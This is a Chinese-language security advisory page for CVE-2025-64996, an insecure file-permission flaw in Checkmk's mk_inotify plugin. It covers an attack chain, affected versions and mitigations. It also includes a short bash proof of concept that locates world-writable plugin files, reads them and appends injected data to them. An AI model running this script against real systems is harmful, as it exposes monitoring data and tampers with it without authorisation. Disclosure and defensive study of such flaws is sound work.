IPBUF安全漏洞报告
English
CVE-2025-64996 CVSS 4.4 中危

CVE-2025-64996 Checkmk mk_inotify插件权限配置不当漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-64996
漏洞类型
权限配置不当
CVSS评分
4.4 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Checkmk

相关标签

CVE-2025-64996Checkmk权限配置不当本地攻击mk_inotify文件权限监控安全中危漏洞数据篡改信息泄露

漏洞概述

CVE-2025-64996是Checkmk监控系统中mk_inotify插件存在的一个本地权限配置不当漏洞。该漏洞影响Checkmk 2.4.0p16之前的所有2.4.x版本、2.3.0p41之前的所有2.3.x版本,以及所有2.2.0及更早版本。mk_inotify插件在运行时会创建全局可读和可写(world-readable and writable)的文件,这意味着系统上的任何本地用户都可以读取这些文件的内容,甚至可以修改它们。由于mk_inotify插件负责收集和输出监控数据,攻击者可以通过读取这些文件获取敏感的监控信息,或者通过修改文件内容来操纵监控数据,可能导致监控系统给出错误的告警或状态报告,进而影响整个IT基础设施的监控可靠性。攻击者利用该漏洞需要本地访问权限,但不需要特殊权限即可实施攻击。

技术细节

mk_inotify是Checkmk中的一个监控插件,用于通过Linux内核的inotify机制监控文件系统变化。该插件在运行过程中会创建临时文件或输出文件来存储监控结果。漏洞的核心问题在于这些文件的权限被设置为666或类似的全局可读写权限,而非遵循最小权限原则设置为600或更严格的权限。本地攻击者可以利用这个权限配置漏洞执行以下操作:首先,通过读取mk_inotify插件的输出文件获取系统监控数据,这些数据可能包含敏感的系统状态信息、文件路径、进程信息等;其次,攻击者可以修改这些文件的内容,伪造监控数据或注入恶意数据,可能导致Checkmk监控系统产生错误的告警,或者通过API接口影响上游监控平台的行为。由于该插件以较高权限运行,攻击者还可以利用修改后的数据尝试进行进一步的攻击,例如通过注入特定的监控指标触发其他系统的处理逻辑漏洞。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地用户访问权限
STEP 2
步骤2
攻击者定位mk_inotify插件创建的文件,通常位于/var/lib/check_mk目录下
STEP 3
步骤3
利用文件权限设置为全局可读的漏洞,读取mk_inotify插件输出的监控数据,获取敏感系统信息
STEP 4
步骤4
利用文件权限设置为全局可写的漏洞,修改插件输出文件,注入伪造或恶意的监控数据
STEP 5
步骤5
修改后的数据通过Checkmk的监控管道传播,可能导致错误的告警、掩盖真实故障或触发下游系统的异常行为

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-64996 PoC - Checkmk mk_inotify权限配置不当漏洞利用 # 前提条件:需要本地用户访问权限 echo "[*] CVE-2025-64996 Checkmk mk_inotify权限配置不当漏洞 PoC" echo "[*] 目标:Checkmk < 2.4.0p16, < 2.3.0p41, <= 2.2.0" # 查找mk_inotify插件生成的全局可读写文件 echo "[+] 步骤1: 搜索mk_inotify插件相关的全局可读写文件..." find /var/lib/check_mk -name "*inotify*" -perm -006 2>/dev/null # 尝试读取插件输出文件 echo "[+] 步骤2: 读取mk_inotify插件输出..." for file in $(find /var/lib/check_mk -name "*inotify*" -perm -004 2>/dev/null); do echo "[*] 读取文件: $file" cat "$file" 2>/dev/null || echo "无法读取" done # 尝试修改插件输出文件 echo "[+] 步骤3: 测试文件写入权限..." for file in $(find /var/lib/check_mk -name "*inotify*" -perm -002 2>/dev/null); do if [ -w "$file" ]; then echo "[+] 可写文件: $file" echo "malicious_data_injected" >> "$file" echo "[*] 已在 $file 中注入测试数据" fi done echo "[+] PoC执行完成"

影响范围

Checkmk < 2.4.0p16
Checkmk < 2.3.0p41
Checkmk <= 2.2.0

防御指南

临时缓解措施
在官方补丁发布前,可以通过手动修改mk_inotify插件的文件创建逻辑,确保输出文件权限设置为600或更严格的权限。同时限制本地用户对/var/lib/check_mk目录的访问,仅允许必要的监控进程账户访问。如果mk_inotify插件不是必需的,可以考虑暂时禁用该插件以消除攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表